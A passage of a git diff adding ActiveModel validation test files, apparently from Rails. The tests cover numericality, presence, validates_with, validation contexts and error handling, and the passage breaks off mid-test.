+    invalid!(JUNK)
+    valid!(NIL + BLANK + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_integer_only
+    Topic.validates_numericality_of :approved, only_integer: true
+
+    invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
+    valid!(INTEGERS)
+  end
+
+  def test_validates_numericality_of_with_integer_only_and_nil_allowed
+    Topic.validates_numericality_of :approved, only_integer: true, allow_nil: true
+
+    invalid!(JUNK + BLANK + FLOATS + BIGDECIMAL + INFINITY)
+    valid!(NIL + INTEGERS)
+  end
+
+  def test_validates_numericality_of_with_integer_only_and_symbol_as_value
+    Topic.validates_numericality_of :approved, only_integer: :condition_is_true_but_its_not
+
+    invalid!(NIL + BLANK + JUNK)
+    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_integer_only_and_proc_as_value
+    Topic.send(:define_method, :allow_only_integers?, lambda { false })
+    Topic.validates_numericality_of :approved, only_integer: Proc.new(&:allow_only_integers?)
+
+    invalid!(NIL + BLANK + JUNK)
+    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_with_greater_than
+    Topic.validates_numericality_of :approved, greater_than: 10
+
+    invalid!([-10, 10], "must be greater than 10")
+    valid!([11])
+  end
+
+  def test_validates_numericality_with_greater_than_using_differing_numeric_types
+    Topic.validates_numericality_of :approved, greater_than: BigDecimal.new("97.18")
+
+    invalid!([-97.18, BigDecimal.new("97.18"), BigDecimal("-97.18")], "must be greater than 97.18")
+    valid!([97.19, 98, BigDecimal.new("98"), BigDecimal.new("97.19")])
+  end
+
+  def test_validates_numericality_with_greater_than_using_string_value
+    Topic.validates_numericality_of :approved, greater_than: 10
+
+    invalid!(["-10", "9", "9.9", "10"], "must be greater than 10")
+    valid!(["10.1", "11"])
+  end
+
+  def test_validates_numericality_with_greater_than_or_equal
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10
+
+    invalid!([-9, 9], "must be greater than or equal to 10")
+    valid!([10])
+  end
+
+  def test_validates_numericality_with_greater_than_or_equal_using_differing_numeric_types
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: BigDecimal.new("97.18")
+
+    invalid!([-97.18, 97.17, 97, BigDecimal.new("97.17"), BigDecimal.new("-97.18")], "must be greater than or equal to 97.18")
+    valid!([97.18, 98, BigDecimal.new("97.19")])
+  end
+
+  def test_validates_numericality_with_greater_than_or_equal_using_string_value
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10
+
+    invalid!(["-10", "9", "9.9"], "must be greater than or equal to 10")
+    valid!(["10", "10.1", "11"])
+  end
+
+  def test_validates_numericality_with_equal_to
+    Topic.validates_numericality_of :approved, equal_to: 10
+
+    invalid!([-10, 11] + INFINITY, "must be equal to 10")
+    valid!([10])
+  end
+
+  def test_validates_numericality_with_equal_to_using_differing_numeric_types
+    Topic.validates_numericality_of :approved, equal_to: BigDecimal.new("97.18")
+
+    invalid!([-97.18], "must be equal to 97.18")
+    valid!([BigDecimal.new("97.18")])
+  end
+
+  def test_validates_numericality_with_equal_to_using_string_value
+    Topic.validates_numericality_of :approved, equal_to: 10
+
+    invalid!(["-10", "9", "9.9", "10.1", "11"], "must be equal to 10")
+    valid!(["10"])
+  end
+
+  def test_validates_numericality_with_less_than
+    Topic.validates_numericality_of :approved, less_than: 10
+
+    invalid!([10], "must be less than 10")
+    valid!([-9, 9])
+  end
+
+  def test_validates_numericality_with_less_than_using_differing_numeric_types
+    Topic.validates_numericality_of :approved, less_than: BigDecimal.new("97.18")
+
+    invalid!([97.18, BigDecimal.new("97.18")], "must be less than 97.18")
+    valid!([-97.0, 97.0, -97, 97, BigDecimal.new("-97"), BigDecimal.new("97")])
+  end
+
+  def test_validates_numericality_with_less_than_using_string_value
+    Topic.validates_numericality_of :approved, less_than: 10
+
+    invalid!(["10", "10.1", "11"], "must be less than 10")
+    valid!(["-10", "9", "9.9"])
+  end
+
+  def test_validates_numericality_with_less_than_or_equal_to
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: 10
+
+    invalid!([11], "must be less than or equal to 10")
+    valid!([-10, 10])
+  end
+
+  def test_validates_numericality_with_less_than_or_equal_to_using_differing_numeric_types
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: BigDecimal.new("97.18")
+
+    invalid!([97.19, 98], "must be less than or equal to 97.18")
+    valid!([-97.18, BigDecimal.new("-97.18"), BigDecimal.new("97.18")])
+  end
+
+  def test_validates_numericality_with_less_than_or_equal_using_string_value
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: 10
+
+    invalid!(["10.1", "11"], "must be less than or equal to 10")
+    valid!(["-10", "9", "9.9", "10"])
+  end
+
+  def test_validates_numericality_with_odd
+    Topic.validates_numericality_of :approved, odd: true
+
+    invalid!([-2, 2], "must be odd")
+    valid!([-1, 1])
+  end
+
+  def test_validates_numericality_with_even
+    Topic.validates_numericality_of :approved, even: true
+
+    invalid!([-1, 1], "must be even")
+    valid!([-2, 2])
+  end
+
+  def test_validates_numericality_with_greater_than_less_than_and_even
+    Topic.validates_numericality_of :approved, greater_than: 1, less_than: 4, even: true
+
+    invalid!([1, 3, 4])
+    valid!([2])
+  end
+
+  def test_validates_numericality_with_other_than
+    Topic.validates_numericality_of :approved, other_than: 0
+
+    invalid!([0, 0.0])
+    valid!([-1, 42])
+  end
+
+  def test_validates_numericality_with_other_than_using_string_value
+    Topic.validates_numericality_of :approved, other_than: 0
+
+    invalid!(["0", "0.0"])
+    valid!(["-1", "1.1", "42"])
+  end
+
+  def test_validates_numericality_with_proc
+    Topic.send(:define_method, :min_approved, lambda { 5 })
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new(&:min_approved)
+
+    invalid!([3, 4])
+    valid!([5, 6])
+  ensure
+    Topic.send(:remove_method, :min_approved)
+  end
+
+  def test_validates_numericality_with_symbol
+    Topic.send(:define_method, :max_approved, lambda { 5 })
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: :max_approved
+
+    invalid!([6])
+    valid!([4, 5])
+  ensure
+    Topic.send(:remove_method, :max_approved)
+  end
+
+  def test_validates_numericality_with_numeric_message
+    Topic.validates_numericality_of :approved, less_than: 4, message: "smaller than %{count}"
+    topic = Topic.new("title" => "numeric test", "approved" => 10)
+
+    assert !topic.valid?
+    assert_equal ["smaller than 4"], topic.errors[:approved]
+
+    Topic.validates_numericality_of :approved, greater_than: 4, message: "greater than %{count}"
+    topic = Topic.new("title" => "numeric test", "approved" => 1)
+
+    assert !topic.valid?
+    assert_equal ["greater than 4"], topic.errors[:approved]
+  end
+
+  def test_validates_numericality_of_for_ruby_class
+    Person.validates_numericality_of :karma, allow_nil: false
+
+    p = Person.new
+    p.karma = "Pix"
+    assert p.invalid?
+
+    assert_equal ["is not a number"], p.errors[:karma]
+
+    p.karma = "1234"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_validates_numericality_with_exponent_number
+    base = 10_000_000_000_000_000
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: base
+    topic = Topic.new
+    topic.approved = (base + 1).to_s
+
+    assert topic.invalid?
+  end
+
+  def test_validates_numericality_with_invalid_args
+    assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, greater_than_or_equal_to: "foo" }
+    assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, less_than_or_equal_to: "foo" }
+    assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, greater_than: "foo" }
+    assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, less_than: "foo" }
+    assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, equal_to: "foo" }
+  end
+
+  private
+
+    def invalid!(values, error = nil)
+      with_each_topic_approved_value(values) do |topic, value|
+        assert topic.invalid?, "#{value.inspect} not rejected as a number"
+        assert topic.errors[:approved].any?, "FAILED for #{value.inspect}"
+        assert_equal error, topic.errors[:approved].first if error
+      end
+    end
+
+    def valid!(values)
+      with_each_topic_approved_value(values) do |topic, value|
+        assert topic.valid?, "#{value.inspect} not accepted as a number with validation error: #{topic.errors[:approved].first}"
+      end
+    end
+
+    def with_each_topic_approved_value(values)
+      topic = Topic.new(title: "numeric test", content: "whatever")
+      values.each do |value|
+        topic.approved = value
+        yield topic, value
+      end
+    end
+end
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
new file mode 100644
index 0000000000..22c2f0af87
--- /dev/null
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/person"
+require "models/custom_reader"
+
+class PresenceValidationTest < ActiveModel::TestCase
+  teardown do
+    Topic.clear_validators!
+    Person.clear_validators!
+    CustomReader.clear_validators!
+  end
+
+  def test_validate_presences
+    Topic.validates_presence_of(:title, :content)
+
+    t = Topic.new
+    assert t.invalid?
+    assert_equal ["can't be blank"], t.errors[:title]
+    assert_equal ["can't be blank"], t.errors[:content]
+
+    t.title = "something"
+    t.content = "   "
+
+    assert t.invalid?
+    assert_equal ["can't be blank"], t.errors[:content]
+
+    t.content = "like stuff"
+
+    assert t.valid?
+  end
+
+  def test_accepts_array_arguments
+    Topic.validates_presence_of %w(title content)
+    t = Topic.new
+    assert t.invalid?
+    assert_equal ["can't be blank"], t.errors[:title]
+    assert_equal ["can't be blank"], t.errors[:content]
+  end
+
+  def test_validates_acceptance_of_with_custom_error_using_quotes
+    Person.validates_presence_of :karma, message: "This string contains 'single' and \"double\" quotes"
+    p = Person.new
+    assert p.invalid?
+    assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
+  end
+
+  def test_validates_presence_of_for_ruby_class
+    Person.validates_presence_of :karma
+
+    p = Person.new
+    assert p.invalid?
+
+    assert_equal ["can't be blank"], p.errors[:karma]
+
+    p.karma = "Cold"
+    assert p.valid?
+  end
+
+  def test_validates_presence_of_for_ruby_class_with_custom_reader
+    CustomReader.validates_presence_of :karma
+
+    p = CustomReader.new
+    assert p.invalid?
+
+    assert_equal ["can't be blank"], p.errors[:karma]
+
+    p[:karma] = "Cold"
+    assert p.valid?
+  end
+
+  def test_validates_presence_of_with_allow_nil_option
+    Topic.validates_presence_of(:title, allow_nil: true)
+
+    t = Topic.new(title: "something")
+    assert t.valid?, t.errors.full_messages
+
+    t.title = ""
+    assert t.invalid?
+    assert_equal ["can't be blank"], t.errors[:title]
+
+    t.title = "  "
+    assert t.invalid?, t.errors.full_messages
+    assert_equal ["can't be blank"], t.errors[:title]
+
+    t.title = nil
+    assert t.valid?, t.errors.full_messages
+  end
+
+  def test_validates_presence_of_with_allow_blank_option
+    Topic.validates_presence_of(:title, allow_blank: true)
+
+    t = Topic.new(title: "something")
+    assert t.valid?, t.errors.full_messages
+
+    t.title = ""
+    assert t.valid?, t.errors.full_messages
+
+    t.title = "  "
+    assert t.valid?, t.errors.full_messages
+
+    t.title = nil
+    assert t.valid?, t.errors.full_messages
+  end
+end
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
new file mode 100644
index 0000000000..77cb8ebdc1
--- /dev/null
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+require "models/topic"
+require "models/person_with_validator"
+require "validators/namespace/email_validator"
+
+class ValidatesTest < ActiveModel::TestCase
+  setup :reset_callbacks
+  teardown :reset_callbacks
+
+  def reset_callbacks
+    Person.clear_validators!
+    Topic.clear_validators!
+    PersonWithValidator.clear_validators!
+  end
+
+  def test_validates_with_messages_empty
+    Person.validates :title, presence: { message: "" }
+    person = Person.new
+    assert !person.valid?, "person should not be valid."
+  end
+
+  def test_validates_with_built_in_validation
+    Person.validates :title, numericality: true
+    person = Person.new
+    person.valid?
+    assert_equal ["is not a number"], person.errors[:title]
+  end
+
+  def test_validates_with_attribute_specified_as_string
+    Person.validates "title", numericality: true
+    person = Person.new
+    person.valid?
+    assert_equal ["is not a number"], person.errors[:title]
+
+    person = Person.new
+    person.title = 123
+    assert person.valid?
+  end
+
+  def test_validates_with_built_in_validation_and_options
+    Person.validates :salary, numericality: { message: "my custom message" }
+    person = Person.new
+    person.valid?
+    assert_equal ["my custom message"], person.errors[:salary]
+  end
+
+  def test_validates_with_validator_class
+    Person.validates :karma, email: true
+    person = Person.new
+    person.valid?
+    assert_equal ["is not an email"], person.errors[:karma]
+  end
+
+  def test_validates_with_namespaced_validator_class
+    Person.validates :karma, 'namespace/email': true
+    person = Person.new
+    person.valid?
+    assert_equal ["is not an email"], person.errors[:karma]
+  end
+
+  def test_validates_with_if_as_local_conditions
+    Person.validates :karma, presence: true, email: { unless: :condition_is_true }
+    person = Person.new
+    person.valid?
+    assert_equal ["can't be blank"], person.errors[:karma]
+  end
+
+  def test_validates_with_if_as_shared_conditions
+    Person.validates :karma, presence: true, email: true, if: :condition_is_true
+    person = Person.new
+    person.valid?
+    assert_equal ["can't be blank", "is not an email"], person.errors[:karma].sort
+  end
+
+  def test_validates_with_unless_shared_conditions
+    Person.validates :karma, presence: true, email: true, unless: :condition_is_true
+    person = Person.new
+    assert person.valid?
+  end
+
+  def test_validates_with_allow_nil_shared_conditions
+    Person.validates :karma, length: { minimum: 20 }, email: true, allow_nil: true
+    person = Person.new
+    assert person.valid?
+  end
+
+  def test_validates_with_regexp
+    Person.validates :karma, format: /positive|negative/
+    person = Person.new
+    assert person.invalid?
+    assert_equal ["is invalid"], person.errors[:karma]
+    person.karma = "positive"
+    assert person.valid?
+  end
+
+  def test_validates_with_array
+    Person.validates :gender, inclusion: %w(m f)
+    person = Person.new
+    assert person.invalid?
+    assert_equal ["is not included in the list"], person.errors[:gender]
+    person.gender = "m"
+    assert person.valid?
+  end
+
+  def test_validates_with_range
+    Person.validates :karma, length: 6..20
+    person = Person.new
+    assert person.invalid?
+    assert_equal ["is too short (minimum is 6 characters)"], person.errors[:karma]
+    person.karma = "something"
+    assert person.valid?
+  end
+
+  def test_validates_with_validator_class_and_options
+    Person.validates :karma, email: { message: "my custom message" }
+    person = Person.new
+    person.valid?
+    assert_equal ["my custom message"], person.errors[:karma]
+  end
+
+  def test_validates_with_unknown_validator
+    assert_raise(ArgumentError) { Person.validates :karma, unknown: true }
+  end
+
+  def test_validates_with_included_validator
+    PersonWithValidator.validates :title, presence: true
+    person = PersonWithValidator.new
+    person.valid?
+    assert_equal ["Local validator"], person.errors[:title]
+  end
+
+  def test_validates_with_included_validator_and_options
+    PersonWithValidator.validates :title, presence: { custom: " please" }
+    person = PersonWithValidator.new
+    person.valid?
+    assert_equal ["Local validator please"], person.errors[:title]
+  end
+
+  def test_validates_with_included_validator_and_wildcard_shortcut
+    # Shortcut for PersonWithValidator.validates :title, like: { with: "Mr." }
+    PersonWithValidator.validates :title, like: "Mr."
+    person = PersonWithValidator.new
+    person.title = "Ms. Pacman"
+    person.valid?
+    assert_equal ["does not appear to be like Mr."], person.errors[:title]
+  end
+
+  def test_defining_extra_default_keys_for_validates
+    Topic.validates :title, confirmation: true, message: "Y U NO CONFIRM"
+    topic = Topic.new
+    topic.title = "What's happening"
+    topic.title_confirmation = "Not this"
+    assert !topic.valid?
+    assert_equal ["Y U NO CONFIRM"], topic.errors[:title_confirmation]
+  end
+end
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
new file mode 100644
index 0000000000..024eb1882f
--- /dev/null
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+
+class ValidationsContextTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  ERROR_MESSAGE = "Validation error from validator"
+  ANOTHER_ERROR_MESSAGE = "Another validation error from validator"
+
+  class ValidatorThatAddsErrors < ActiveModel::Validator
+    def validate(record)
+      record.errors[:base] << ERROR_MESSAGE
+    end
+  end
+
+  class AnotherValidatorThatAddsErrors < ActiveModel::Validator
+    def validate(record)
+      record.errors[:base] << ANOTHER_ERROR_MESSAGE
+    end
+  end
+
+  test "with a class that adds errors on create and validating a new model with no arguments" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: :create)
+    topic = Topic.new
+    assert topic.valid?, "Validation doesn't run on valid? if 'on' is set to create"
+  end
+
+  test "with a class that adds errors on update and validating a new model" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: :update)
+    topic = Topic.new
+    assert topic.valid?(:create), "Validation doesn't run on create if 'on' is set to update"
+  end
+
+  test "with a class that adds errors on create and validating a new model" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: :create)
+    topic = Topic.new
+    assert topic.invalid?(:create), "Validation does run on create if 'on' is set to create"
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+  end
+
+  test "with a class that adds errors on multiple contexts and validating a new model" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: [:context1, :context2])
+
+    topic = Topic.new
+    assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+
+    assert topic.invalid?(:context1), "Validation did not run on context1 when 'on' is set to context1 and context2"
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+
+    assert topic.invalid?(:context2), "Validation did not run on context2 when 'on' is set to context1 and context2"
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+  end
+
+  test "with a class that validating a model for a multiple contexts" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: :context1)
+    Topic.validates_with(AnotherValidatorThatAddsErrors, on: :context2)
+
+    topic = Topic.new
+    assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+
+    assert topic.invalid?([:context1, :context2]), "Validation did not run on context1 when 'on' is set to context1 and context2"
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+    assert_includes topic.errors[:base], ANOTHER_ERROR_MESSAGE
+  end
+end
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
new file mode 100644
index 0000000000..fbe20dc000
--- /dev/null
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -0,0 +1,185 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+
+class ValidatesWithTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  ERROR_MESSAGE = "Validation error from validator"
+  OTHER_ERROR_MESSAGE = "Validation error from other validator"
+
+  class ValidatorThatAddsErrors < ActiveModel::Validator
+    def validate(record)
+      record.errors[:base] << ERROR_MESSAGE
+    end
+  end
+
+  class OtherValidatorThatAddsErrors < ActiveModel::Validator
+    def validate(record)
+      record.errors[:base] << OTHER_ERROR_MESSAGE
+    end
+  end
+
+  class ValidatorThatDoesNotAddErrors < ActiveModel::Validator
+    def validate(record)
+    end
+  end
+
+  class ValidatorThatValidatesOptions < ActiveModel::Validator
+    def validate(record)
+      if options[:field] == :first_name
+        record.errors[:base] << ERROR_MESSAGE
+      end
+    end
+  end
+
+  class ValidatorPerEachAttribute < ActiveModel::EachValidator
+    def validate_each(record, attribute, value)
+      record.errors[attribute] << "Value is #{value}"
+    end
+  end
+
+  class ValidatorCheckValidity < ActiveModel::EachValidator
+    def check_validity!
+      raise "boom!"
+    end
+  end
+
+  test "validation with class that adds errors" do
+    Topic.validates_with(ValidatorThatAddsErrors)
+    topic = Topic.new
+    assert topic.invalid?, "A class that adds errors causes the record to be invalid"
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+  end
+
+  test "with a class that returns valid" do
+    Topic.validates_with(ValidatorThatDoesNotAddErrors)
+    topic = Topic.new
+    assert topic.valid?, "A class that does not add errors does not cause the record to be invalid"
+  end
+
+  test "with multiple classes" do
+    Topic.validates_with(ValidatorThatAddsErrors, OtherValidatorThatAddsErrors)
+    topic = Topic.new
+    assert topic.invalid?
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+    assert_includes topic.errors[:base], OTHER_ERROR_MESSAGE
+  end
+
+  test "with if statements that return false" do
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 2")
+    end
+    topic = Topic.new
+    assert topic.valid?
+  end
+
+  test "with if statements that return true" do
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 1")
+    end
+    topic = Topic.new
+    assert topic.invalid?
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+  end
+
+  test "with unless statements that return true" do
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 1")
+    end
+    topic = Topic.new
+    assert topic.valid?
+  end
+
+  test "with unless statements that returns false" do
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 2")
+    end
+    topic = Topic.new
+    assert topic.invalid?
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+  end
+
+  test "passes all configuration options to the validator class" do
+    topic = Topic.new
+    validator = Minitest::Mock.new
+    validator.expect(:new, validator, [{ foo: :bar, if: "1 == 1", class: Topic }])
+    validator.expect(:validate, nil, [topic])
+    validator.expect(:is_a?, false, [Symbol])
+    validator.expect(:is_a?, false, [String])
+
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_with(validator, if: "1 == 1", foo: :bar)
+    end
+    assert topic.valid?
+    validator.verify
+  end
+
+  test "validates_with with options" do
+    Topic.validates_with(ValidatorThatValidatesOptions, field: :first_name)
+    topic = Topic.new
+    assert topic.invalid?
+    assert_includes topic.errors[:base], ERROR_MESSAGE
+  end
+
+  test "validates_with each validator" do
+    Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content])
+    topic = Topic.new title: "Title", content: "Content"
+    assert topic.invalid?
+    assert_equal ["Value is Title"], topic.errors[:title]
+    assert_equal ["Value is Content"], topic.errors[:content]
+  end
+
+  test "each validator checks validity" do
+    assert_raise RuntimeError do
+      Topic.validates_with(ValidatorCheckValidity, attributes: [:title])
+    end
+  end
+
+  test "each validator expects attributes to be given" do
+    assert_raise ArgumentError do
+      Topic.validates_with(ValidatorPerEachAttribute)
+    end
+  end
+
+  test "each validator skip nil values if :allow_nil is set to true" do
+    Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_nil: true)
+    topic = Topic.new content: ""
+    assert topic.invalid?
+    assert topic.errors[:title].empty?
+    assert_equal ["Value is "], topic.errors[:content]
+  end
+
+  test "each validator skip blank values if :allow_blank is set to true" do
+    Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_blank: true)
+    topic = Topic.new content: ""
+    assert topic.valid?
+    assert topic.errors[:title].empty?
+    assert topic.errors[:content].empty?
+  end
+
+  test "validates_with can validate with an instance method" do
+    Topic.validates :title, with: :my_validation
+
+    topic = Topic.new title: "foo"
+    assert topic.valid?
+    assert topic.errors[:title].empty?
+
+    topic = Topic.new
+    assert !topic.valid?
+    assert_equal ["is missing"], topic.errors[:title]
+  end
+
+  test "optionally pass in the attribute being validated when validating with an instance method" do
+    Topic.validates :title, :content, with: :my_validation_with_arg
+
+    topic = Topic.new title: "foo"
+    assert !topic.valid?
+    assert topic.errors[:title].empty?
+    assert_equal ["is missing"], topic.errors[:content]
+  end
+end
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
new file mode 100644
index 0000000000..ab8c41bbd0
--- /dev/null
+++ b/activemodel/test/cases/validations_test.rb
@@ -0,0 +1,465 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/reply"
+require "models/custom_reader"
+
+require "active_support/json"
+require "active_support/xml_mini"
+
+class ValidationsTest < ActiveModel::TestCase
+  class CustomStrictValidationException < StandardError; end
+
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_single_field_validation
+    r = Reply.new
+    r.title = "There's no content!"
+    assert r.invalid?, "A reply without content should be invalid"
+    assert r.after_validation_performed, "after_validation callback should be called"
+
+    r.content = "Messa content!"
+    assert r.valid?, "A reply with content should be valid"
+    assert r.after_validation_performed, "after_validation callback should be called"
+  end
+
+  def test_single_attr_validation_and_error_msg
+    r = Reply.new
+    r.title = "There's no content!"
+    assert r.invalid?
+    assert r.errors[:content].any?, "A reply without content should mark that attribute as invalid"
+    assert_equal ["is Empty"], r.errors["content"], "A reply without content should contain an error"
+    assert_equal 1, r.errors.count
+  end
+
+  def test_double_attr_validation_and_error_msg
+    r = Reply.new
+    assert r.invalid?
+
+    assert r.errors[:title].any?, "A reply without title should mark that attribute as invalid"
+    assert_equal ["is Empty"], r.errors["title"], "A reply without title should contain an error"
+
+    assert r.errors[:content].any?, "A reply without content should mark that attribute as invalid"
+    assert_equal ["is Empty"], r.errors["content"], "A reply without content should contain an error"
+
+    assert_equal 2, r.errors.count
+  end
+
+  def test_single_error_per_attr_iteration
+    r = Reply.new
+    r.valid?
+
+    errors = r.errors.collect { |attr, messages| [attr.to_s, messages] }
+
+    assert_includes errors, ["title", "is Empty"]
+    assert_includes errors, ["content", "is Empty"]
+  end
+
+  def test_multiple_errors_per_attr_iteration_with_full_error_composition
+    r = Reply.new
+    r.title   = ""
+    r.content = ""
+    r.valid?
+
+    errors = r.errors.to_a
+
+    assert_equal "Content is Empty", errors[0]
+    assert_equal "Title is Empty", errors[1]
+    assert_equal 2, r.errors.count
+  end
+
+  def test_errors_on_nested_attributes_expands_name
+    t = Topic.new
+    t.errors["replies.name"] << "can't be blank"
+    assert_equal ["Replies name can't be blank"], t.errors.full_messages
+  end
+
+  def test_errors_on_base
+    r = Reply.new
+    r.content = "Mismatch"
+    r.valid?
+    r.errors.add(:base, "Reply is not dignifying")
+
+    errors = r.errors.to_a.inject([]) { |result, error| result + [error] }
+
+    assert_equal ["Reply is not dignifying"], r.errors[:base]
+
+    assert_includes errors, "Title is Empty"
+    assert_includes errors, "Reply is not dignifying"
+    assert_equal 2, r.errors.count
+  end
+
+  def test_errors_on_base_with_symbol_message
+    r = Reply.new
+    r.content = "Mismatch"
+    r.valid?
+    r.errors.add(:base, :invalid)
+
+    errors = r.errors.to_a.inject([]) { |result, error| result + [error] }
+
+    assert_equal ["is invalid"], r.errors[:base]
+
+    assert_includes errors, "Title is Empty"
+    assert_includes errors, "is invalid"
+
+    assert_equal 2, r.errors.count
+  end
+
+  def test_errors_empty_after_errors_on_check
+    t = Topic.new
+    assert t.errors[:id].empty?
+    assert t.errors.empty?
+  end
+
+  def test_validates_each
+    hits = 0
+    Topic.validates_each(:title, :content, [:title, :content]) do |record, attr|
+      record.errors.add attr, "gotcha"
+      hits += 1
+    end
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.invalid?
+    assert_equal 4, hits
+    assert_equal %w(gotcha gotcha), t.errors[:title]
+    assert_equal %w(gotcha gotcha), t.errors[:content]
+  end
+
+  def test_validates_each_custom_reader
+    hits = 0
+    CustomReader.validates_each(:title, :content, [:title, :content]) do |record, attr|
+      record.errors.add attr, "gotcha"
+      hits += 1
+    end
+    t = CustomReader.new("title" => "valid", "content" => "whatever")
+    assert t.invalid?
+    assert_equal 4, hits
+    assert_equal %w(gotcha gotcha), t.errors[:title]
+    assert_equal %w(gotcha gotcha), t.errors[:content]
+  ensure
+    CustomReader.clear_validators!
+  end
+
+  def test_validate_block
+    Topic.validate { errors.add("title", "will never be valid") }
+    t = Topic.new("title" => "Title", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["will never be valid"], t.errors["title"]
+  end
+
+  def test_validate_block_with_params
+    Topic.validate { |topic| topic.errors.add("title", "will never be valid") }
+    t = Topic.new("title" => "Title", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["will never be valid"], t.errors["title"]
+  end
+
+  def test_invalid_validator
+    Topic.validate :i_dont_exist
+    assert_raises(NoMethodError) do
+      t = Topic.new
+      t.valid?
+    end
+  end
+
+  def test_invalid_options_to_validate
+    error = assert_raises(ArgumentError) do
+      # A common mistake -- we meant to call 'validates'
+      Topic.validate :title, presence: true
+    end
+    message = "Unknown key: :presence. Valid keys are: :on, :if, :unless, :prepend. Perhaps you meant to call `validates` instead of `validate`?"
+    assert_equal message, error.message
+  end
+
+  def test_callback_options_to_validate
+    klass = Class.new(Topic) do
+      attr_reader :call_sequence
+
+      def initialize(*)
+        super
+        @call_sequence = []
+      end
+
+      private
+        def validator_a
+          @call_sequence << :a
+        end
+
+        def validator_b
+          @call_sequence << :b
+        end
+
+        def validator_c
+          @call_sequence << :c
+        end
+    end
+
+    assert_nothing_raised do
+      klass.validate :validator_a, if: -> { true }
+      klass.validate :validator_b, prepend: true
+      klass.validate :validator_c, unless: -> { true }
+    end
+
+    t = klass.new
+
+    assert_predicate t, :valid?
+    assert_equal [:b, :a], t.call_sequence
+  end
+
+  def test_errors_conversions
+    Topic.validates_presence_of %w(title content)
+    t = Topic.new
+    assert t.invalid?
+
+    xml = t.errors.to_xml
+    assert_match %r{<errors>}, xml
+    assert_match %r{<error>Title can't be blank</error>}, xml
+    assert_match %r{<error>Content can't be blank</error>}, xml
+
+    hash = {}
+    hash[:title] = ["can't be blank"]
+    hash[:content] = ["can't be blank"]
+    assert_equal t.errors.to_json, hash.to_json
+  end
+
+  def test_validation_order
+    Topic.validates_presence_of :title
+    Topic.validates_length_of :title, minimum: 2
+
+    t = Topic.new("title" => "")
+    assert t.invalid?
+    assert_equal "can't be blank", t.errors["title"].first
+    Topic.validates_presence_of :title, :author_name
+    Topic.validate { errors.add("author_email_address", "will never be valid") }
+    Topic.validates_length_of :title, :content, minimum: 2
+
+    t = Topic.new title: ""
+    assert t.invalid?
+
